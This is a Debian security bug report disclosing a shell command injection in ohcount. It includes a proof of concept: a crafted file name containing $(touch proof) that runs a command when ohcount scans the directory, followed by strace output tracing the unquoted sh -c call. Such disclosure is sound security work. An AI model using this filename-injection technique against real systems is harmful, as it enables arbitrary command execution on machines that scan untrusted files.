Package: ohcount Version: 3.0.0-8.3 Severity: grave Tags: upstream security Justification: user security hole
When ohcount tries to determine the type of a file with a specially crafted name, it can execute arbitrary shell commands through improper quoting. Details below. ## PoC > $ echo hi > "test'\$(touch proof)'" > $ ls > test'$(touch proof)' > $ ohcount . > Examining 2 file(s) > > Ohloh Line Count Summary > > Language Files Code Comment Comment % Blank Total > ---------------- ----- --------- --------- --------- --------- --------- > ---------------- ----- --------- --------- --------- --------- --------- > Total 0 0 0 0.0% 0 0 > $ ls > proof test'$(touch proof)' ## How does it work? I haven't read the source, so I can't point at the vulnerable line, but here's a snippet of strace output (trimmed and indented for readability): Processes: 26767: ohcount . 26773: sh -c "file -b './test'$(touch proof)''" 26776: touch proof 26782: file -b ./test 26791: sh -c "file -b '.'" 26797 file -b . 26767 execve("/usr/bin/ohcount", ["ohcount", "."], [/* 52 vars */]) = 0 26767 write(1, "Examining 2 file(s)\n", 20) = 20 26767 open("./test'$(touch proof)'", O_RDONLY) = 3 26767 fstat(3, {st_mode=S_IFREG|0640, st_size=3, ...}) = 0 26767 read(3, "hi\n", 3) = 3 26767 access("./test'$(touch proof)'", F_OK) = 0 26767 pipe2([3, 4], O_CLOEXEC) = 0 26767 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f31736e69d0) = 26773 26773 execve("/bin/sh", ["sh", "-c", "file -b './test'$(touch proof)''"], [/* 52 vars */]) = 0 26773 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f601329d9d0) = 26776 26776 stat("/usr/bin/touch", {st_mode=S_IFREG|0755, st_size=93160, ...}) = 0 26776 execve("/usr/bin/touch", ["touch", "proof"], [/* 52 vars */]) = 0 26776 open("proof", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0666) = 3 26776 exit_group(0) = ? 26776 +++ exited with 0 +++ 26773 <... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 26776 26773 stat("/usr/bin/file", {st_mode=S_IFREG|0755, st_size=22792, ...}) = 0 26773 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f601329d9d0) = 26782 26773 wait4(-1, <unfinished ...> 26782 execve("/usr/bin/file", ["file", "-b", "./test"], [/* 52 vars */]) = 0 26782 lstat("./test", 0x7ffc9809f660) = -1 ENOENT (No such file or directory) 26782 stat("./test", 0x7ffc9809f660) = -1 ENOENT (No such file or directory) 26782 open("./test", O_RDONLY) = -1 ENOENT (No such file or directory) 26782 write(1, "cannot open `./test' (No such fi"..., 49 ) = 49 26782 exit_group(0) = ? 26782 +++ exited with 0 +++ 26773 exit_group(0) = ? 26773 +++ exited with 0 +++ 26767 open(".", O_RDONLY) = 3 26767 fstat(3, {st_mode=S_IFDIR|0751, st_size=4096, ...}) = 0 26767 fstat(3, {st_mode=S_IFDIR|0751, st_size=4096, ...}) = 0 26767 lseek(3, 0, SEEK_END) = 9223372036854775807 26767 lseek(3, 0, SEEK_SET) = 0 26767 read(3, 0x56315aaed880, 18446744073709547520) = -1 EFAULT (Bad address) 26767 close(3) = 0 26767 access(".", F_OK) = 0 26767 pipe2([3, 4], O_CLOEXEC) = 0 26767 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f31736e69d0) = 26791 26791 execve("/bin/sh", ["sh", "-c", "file -b '.'"], [/* 52 vars */]) = 0 26791 stat("/usr/bin/file", {st_mode=S_IFREG|0755, st_size=22792, ...}) = 0 26791 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fb58ec689d0) = 26797 26797 execve("/usr/bin/file", ["file", "-b", "."], [/* 52 vars */]) = 0 26797 lstat(".", {st_mode=S_IFDIR|0751, st_size=4096, ...}) = 0 26797 write(1, "directory\n", 10 <unfinished ...> 26797 exit_group(0) = ? 26797 +++ exited with 0 +++ 26791 exit_group(0) = ? 26791 +++ exited with 0 +++ 26767 write(1, "\n Ohloh"..., 79) = 79 26767 write(1, "Language Files Co"..., 158) = 158 26767 write(1, "---------------- ----- -------"..., 79) = 79 26767 write(1, "Total 0 "..., 79) = 79 26767 exit_group(0) = ? 26767 +++ exited with 0 +++ ## Disclosure, etc. This is, AFAIK, a previously undisclosed vulnerability. Salvatore Bonaccorso volunteered to request a CVE identifier for this vulnerability. -- System Information: Debian Release: 9.2 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable'), (500, 'oldstable') Architecture: amd64 (x86_64) Foreign Architectures: i386, mips, armhf, armel Kernel: Linux 4.9.0-4-amd64 (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE=en_US:en (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages ohcount depends on: ii file 1:5.30-1+deb9u1 ii libc6 2.24-11+deb9u1 ii libpcre3 2:8.39-3 ii ruby 1:2.3.3 ii ruby-diff-lcs 1.2.5-2 ohcount recommends no packages. Versions of packages ohcount suggests: pn ohcount-doc <none> -- no debconf information _______________________________________________ Secure-testing-team mailing list Secure-testing-team@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/secure-testing-team